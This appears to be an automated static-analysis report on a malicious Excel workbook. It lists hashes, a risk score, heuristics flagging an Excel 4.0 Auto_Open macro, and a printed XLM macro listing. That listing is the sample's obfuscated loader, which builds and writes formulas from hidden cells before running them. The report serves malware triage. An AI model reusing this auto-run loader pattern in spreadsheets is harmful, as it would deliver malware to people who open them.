Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 016de7dbfb9bdae5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:36:32 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: b4ffd73b8001e6cfcf15a9520bebaede SHA-1: 54fd930f306826c8cbe02052123220d45aad55a2 SHA-256: 016de7dbfb9bdae56e020383d9b71a58271e62715d1a222664b9b117afdf7c4c
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6644 bytes
SHA-256: 1958b32cb2982e53a3cb3bb4f8537e890ecf4b9ff160834e92baff877443c3a2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
22 of 40 identifiers look randomly generated (e.g. 'YKqUdxfmOzRu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TGuXNPPtShA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D147 
' 0018     27 LABEL : Cell Value, String Constant - boLtJgrRLBzw len=0 
' 0018     24 LABEL : Cell Value, String Constant - CyedRnfcm len=0 
' 0018     27 LABEL : Cell Value, String Constant - dofYdgdIOxXD len=0 
' 0018     25 LABEL : Cell Value, String Constant - GJyWoaSTKb len=0 
' 0018     20 LABEL : Cell Value, String Constant - gRGoO len=0 
' 0018     22 LABEL : Cell Value, String Constant - hPwDNjo len=0 
' 0018     27 LABEL : Cell Value, String Constant - HVCAjYKWYoVp len=0 
' 0018     23 LABEL : Cell Value, String Constant - JZHLOiRn len=0 
' 0018     22 LABEL : Cell Value, String Constant - kBfJxVi len=0 
' 0018     23 LABEL : Cell Value, String Constant - LCzCLpQc len=0 
' 0018     24 LABEL : Cell Value, String Constant - paRclkEKd len=0 
' 0018     25 LABEL : Cell Value, String Constant - pNpKqCVnlz len=0 
' 0018     26 LABEL : Cell Value, String Constant - QGZkNcoUFdI len=0 
' 0018     21 LABEL : Cell Value, String Constant - qnpcRU len=0 
' 0018     23 LABEL : Cell Value, String Constant - UPJAYMfW len=0 
' 0018     22 LABEL : Cell Value, String Constant - WjdjvOb len=0 
' 0018     21 LABEL : Cell Value, String Constant - xRJmgA len=0 
' 0018     27 LABEL : Cell Value, String Constant - YKqUdxfmOzRu len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZSEkiVZh len=0 
' 0018     21 LABEL : Cell Value, String Constant - zSggOT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TGuXNPPtShA,D65,"SET.NAME("zSggOT",VALUE("0"))",""
'  TGuXNPPtShA,D68,"SET.NAME("JZHLOiRn",zSggOT)",""
'  TGuXNPPtShA,D70,"SET.NAME("kBfJxVi",zSggOT)",""
'  TGuXNPPtShA,D74,"SET.NAME("qnpcRU",COUNTA(UPJAYMfW))",""
'  TGuXNPPtShA,D76,"SET.NAME("gRGoO",COUNTA(CyedRnfcm))",""
'  TGuXNPPtShA,D79,[],""
'  TGuXNPPtShA,D83,"SET.NAME("dofYdgdIOxXD","")",""
'  TGuXNPPtShA,D85,"JZHLOiRn",""
'  TGuXNPPtShA,D88,"SET.NAME("QGZkNcoUFdI",HLOOKUP("*",UPJAYMfW,JZHLOiRn,FALSE))",""
'  TGuXNPPtShA,D90,"boLtJgrRLBzw",""
'  TGuXNPPtShA,D92,"SET.NAME("HVCAjYKWYoVp",zSggOT)",""
'  TGuXNPPtShA,D97,[],""
'  TGuXNPPtShA,D101,"HVCAjYKWYoVp",""
'  TGuXNPPtShA,D104,"xRJmgA",""
'  TGuXNPPtShA,D109,"pNpKqCVnlz",""
'  TGuXNPPtShA,D113,"ZSEkiVZh",""
'  TGuXNPPtShA,D117,"SET.NAME("GJyWoaSTKb",VALUE(HLOOKUP("*",CyedRnfcm,ZSEkiVZh,FALSE)))",""
'  TGuXNPPtShA,D122,"YKqUdxfmOzRu",""
'  TGuXNPPtShA,D125,"dofYdgdIOxXD",""
'  TGuXNPPtShA,D127,"kBfJxVi",""
'  TGuXNPPtShA,D129,NEXT(),""
'  TGuXNPPtShA,D132,"hPwDNjo",""
'  TGuXNPPtShA,D135,"SET.NAME("f",INT(T(FORMULA(T(dofYdgdIOxXD)&"",""&T(hPwDNjo)))))",""
'  TGuXNPPtShA,D138,"LCzCLpQc",""
'  TGuXNPPtShA,D141,NEXT(),""
'  TGuXNPPtShA,D143,RETURN(),""
'  TGuXNPPtShA,D171,"SET.NAME("WjdjvOb",D65)",""
'  TGuXNPPtShA,D175,"UPJAYMfW",""
'  TGuXNPPtShA,D178,"SET.NAME("CyedRnfcm",R89C12)",""
'  TGuXNPPtShA,D182,"SET.NAME("LCzCLpQc",190)",""
'  TGuXNPPtShA,D186,"SET.NAME("paRclkEKd",4)",""
'  TGuXNPPtShA,D189,WjdjvOb(),""
'  TGuXNPPtShA,D190,HALT(),""